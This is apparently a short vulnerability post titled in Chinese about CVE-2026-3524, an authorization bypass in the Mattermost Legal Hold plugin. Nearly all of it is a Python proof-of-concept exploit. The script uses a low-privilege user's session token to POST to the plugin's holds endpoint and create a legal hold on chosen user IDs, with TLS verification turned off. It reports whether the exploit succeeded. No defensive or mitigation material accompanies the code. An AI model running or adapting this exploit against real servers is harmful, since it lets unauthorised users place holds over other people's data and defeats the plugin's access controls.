CVE-2026-3524 Mattermost Legal Hold插件权限绕过漏洞

import requests # Target URL configuration # Replace with the actual Mattermost domain target_url = "https://<mattermost-domain>/plugins/com.mattermost.legal-hold/api/v1/holds" # Authentication token for a low-privileged user # Attacker needs any valid session auth_token = "LOW_PRIVILEGE_USER_TOKEN" headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # Payload to create a legal hold (exploiting the bypass) payload = { "description": "Malicious Legal Hold created via PoC", "name": "PoC Hold", "user_ids": ["target_user_id_1", "target_user_id_2"] } try: # Send POST request to create data without proper authorization response = requests.post(target_url, json=payload, headers=headers, verify=False) if response.status_code == 200 or response.status_code == 201: print("[+] Exploit successful! Legal hold created via authorization bypass.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed or patched. Status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[-] Error occurred: {e}")